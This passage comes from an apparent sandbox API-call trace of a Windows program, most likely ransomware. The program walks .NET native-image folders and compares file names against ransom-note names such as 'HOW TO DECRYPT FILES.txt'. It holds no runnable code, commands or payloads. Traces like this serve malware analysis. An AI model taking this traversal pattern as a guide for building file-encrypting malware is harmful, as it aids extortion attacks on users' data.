ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1dc52c90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1dc52c90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.ni.dll") returned -1 [0113.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.ni.dll") returned -1 [0113.027] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.ni.dll") returned -1 [0113.030] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.030] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.JScript.ni.dll.aux") returned -1 [0113.030] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.JScript.ni.dll.aux") returned -1 [0113.030] lstrcmpiA (lpString1="", lpString2="Microsoft.JScript.ni.dll.aux") returned -1 [0113.031] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O2eb0cc9a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55be8b80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55be8b80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55be8b80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.032] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O2eb0cc9a#\\d1948e92181070d1b65159c29a0595a7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55be8b80, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55be8b80, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55be8b80, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.034] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.034] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll") returned -1 [0113.034] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll") returned -1 [0113.034] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll") returned -1 [0113.041] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.041] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll.aux") returned -1 [0113.041] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll.aux") returned -1 [0113.041] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.v4.0.Framework.ni.dll.aux") returned -1 [0113.042] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4161a3a3#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552170c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x552170c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x552170c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.043] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4161a3a3#\\42325dca8b0f21b31386391e373c0aba\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x552170c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x552170c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x552170c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.045] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.045] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Excel.ni.dll") returned -1 [0113.045] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Excel.ni.dll") returned -1 [0113.045] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Excel.ni.dll") returned -1 [0113.047] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.047] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Excel.ni.dll.aux") returned -1 [0113.047] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Excel.ni.dll.aux") returned -1 [0113.047] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Excel.ni.dll.aux") returned -1 [0113.048] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4a946565#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54f8f960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x54f8f960, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x54f8f960, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.049] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4a946565#\\14a8952bfcf998340d88fd0a583c2d15\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54f8f960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x54f8f960, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x54f8f960, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.053] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll") returned -1 [0113.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll") returned -1 [0113.053] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll") returned -1 [0113.055] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.055] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll.aux") returned -1 [0113.056] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll.aux") returned -1 [0113.056] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Common.Implementation.ni.dll.aux") returned -1 [0113.056] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4b20f4dd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558ef000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x558ef000, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x558ef000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.057] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O4b20f4dd#\\0463f61b23adf46b129b05f0cdb02457\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558ef000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x558ef000, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x558ef000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.059] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.059] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Outlook.ni.dll") returned -1 [0113.059] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Outlook.ni.dll") returned -1 [0113.059] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Outlook.ni.dll") returned -1 [0113.061] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.061] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Outlook.ni.dll.aux") returned -1 [0113.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Outlook.ni.dll.aux") returned -1 [0113.062] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Outlook.ni.dll.aux") returned -1 [0113.062] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5263ae01#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55ab8080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55ab8080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55ab8080, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.063] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5263ae01#\\30974de2a6e712219ee926a26decdf5f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55ab8080, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55ab8080, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55ab8080, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.065] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.067] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.068] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5949707a#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53db5460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x53db5460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x53db5460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.069] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O5949707a#\\b3286129b97dc39133f0224b1f47c4fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53db5460, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x53db5460, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x53db5460, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.072] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.074] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.074] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O854200f9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545e4000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x545e4000, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x545e4000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.075] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.O854200f9#\\ce2e77f4da9307ecbb12fdbac1d3811e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545e4000, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x545e4000, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x545e4000, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.078] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.081] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.081] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oab3f8ec6#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562023e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x562023e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x562023e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.085] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oab3f8ec6#\\0334d589c30bf25fdcfad0f291c88cee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x562023e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x562023e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x562023e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.088] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.091] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.091] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oe2e369ff#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557be500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x557be500, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x557be500, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.092] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oe2e369ff#\\7ee98cd3bfeb8773170c4053aae95a2c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x557be500, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x557be500, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x557be500, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.095] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.097] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.098] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oeab01fba#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55e702e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55e702e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55e702e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.099] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Oeab01fba#\\90005e35fac815eb03c5b6d1be6d99eb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x55e702e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x55e702e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x55e702e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.101] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.103] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.104] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te3736ca4#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cb910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6cb910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6cb910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.105] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te3736ca4#\\2bab41b138ea8671a7196b9ff5eff703\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6cb910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x6cb910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x6cb910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.107] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.109] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.110] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te49ad7d9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b65d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4b65d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4b65d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.111] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Te49ad7d9#\\dec85e545303d83bde6f819a4ba9d30e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b65d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x4dc730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x4dc730, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.114] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.116] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.117] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V1955d7fd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x575a5960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x575a5960, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x575a5960, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.118] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V1955d7fd#\\e2cdf40a52bc2476dd5c5380a358eb7a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x575a5960, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x575a5960, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x575a5960, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.121] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.123] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.124] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V28a60cc2#\\*.*", lpFindFileData=0x18f8f8 | out: 